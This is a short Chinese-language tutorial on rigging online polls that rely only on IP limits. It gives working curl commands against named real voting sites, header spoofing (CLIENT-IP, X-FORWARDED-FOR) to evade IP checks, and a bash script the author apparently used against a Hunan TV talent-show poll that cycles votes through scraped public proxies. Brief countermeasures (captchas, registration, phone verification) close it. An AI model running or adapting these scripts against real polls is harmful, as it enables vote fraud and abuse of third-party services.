对于仅限制ip且没有验证码的投票,刷票相对简单。
如果没有限制ip,则curl "投票接口"就可以了:
curl "http://weike.zbedu.net/plus/digg_ajax.php?action=good&id=2687"
如果有ip限制,先看有没有获取ip漏洞:
curl -e "http://vote.linziedu.net/" -H "CLIENT-IP:58.68.44.62" "http://vote.linziedu.net/Vote.asp?id=27"
curl -e "http://vote.linziedu.net/" -H "X-FORWARDED-FOR:58.68.44.62" "http://vote.linziedu.net/Vote.asp?id=27"
如果如果没法伪造ip那就用代理好了:
curl -s -x "*.*.*.*:8080" -e "http://www.hunantv.com/v/2013/2013superboy/vsll/"
上次为湖南电视台《快乐男声》投票活动写了个脚本
runPsCount=`ps aux|grep voteit.sh|grep -v grep|wc -l`
echo $runPsCount
if [ "$runPsCount" -gt "2" ]
then
echo "已经有了" && exit
fi
proxyList=`elinks -dump http://www.idcloak.com/proxy-refresh.php|sed -n '3,23p' |awk '{print $(NF)":"$(NF -1)}'`
for proxy in $proxyList
do
echo $proxy
url=`php /root/generateUrl.php`
while true
do
result=`curl -s -x "$proxy" -e "http://www.hunantv.com/v/2013/2013superboy/vsll/" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" $url`
echo $result
echo $result|grep "明天再来" && break
echo "1" >> /root/voteit.log
done
done
解决办法:
没法完全解决,只能增加自动化的难度。
1、添加验证码(验证码破解:http://drops.wooyun.org/tips/141)
2、注册投票,将注册流程复杂化,防止自动注册。
3、手机认证投票。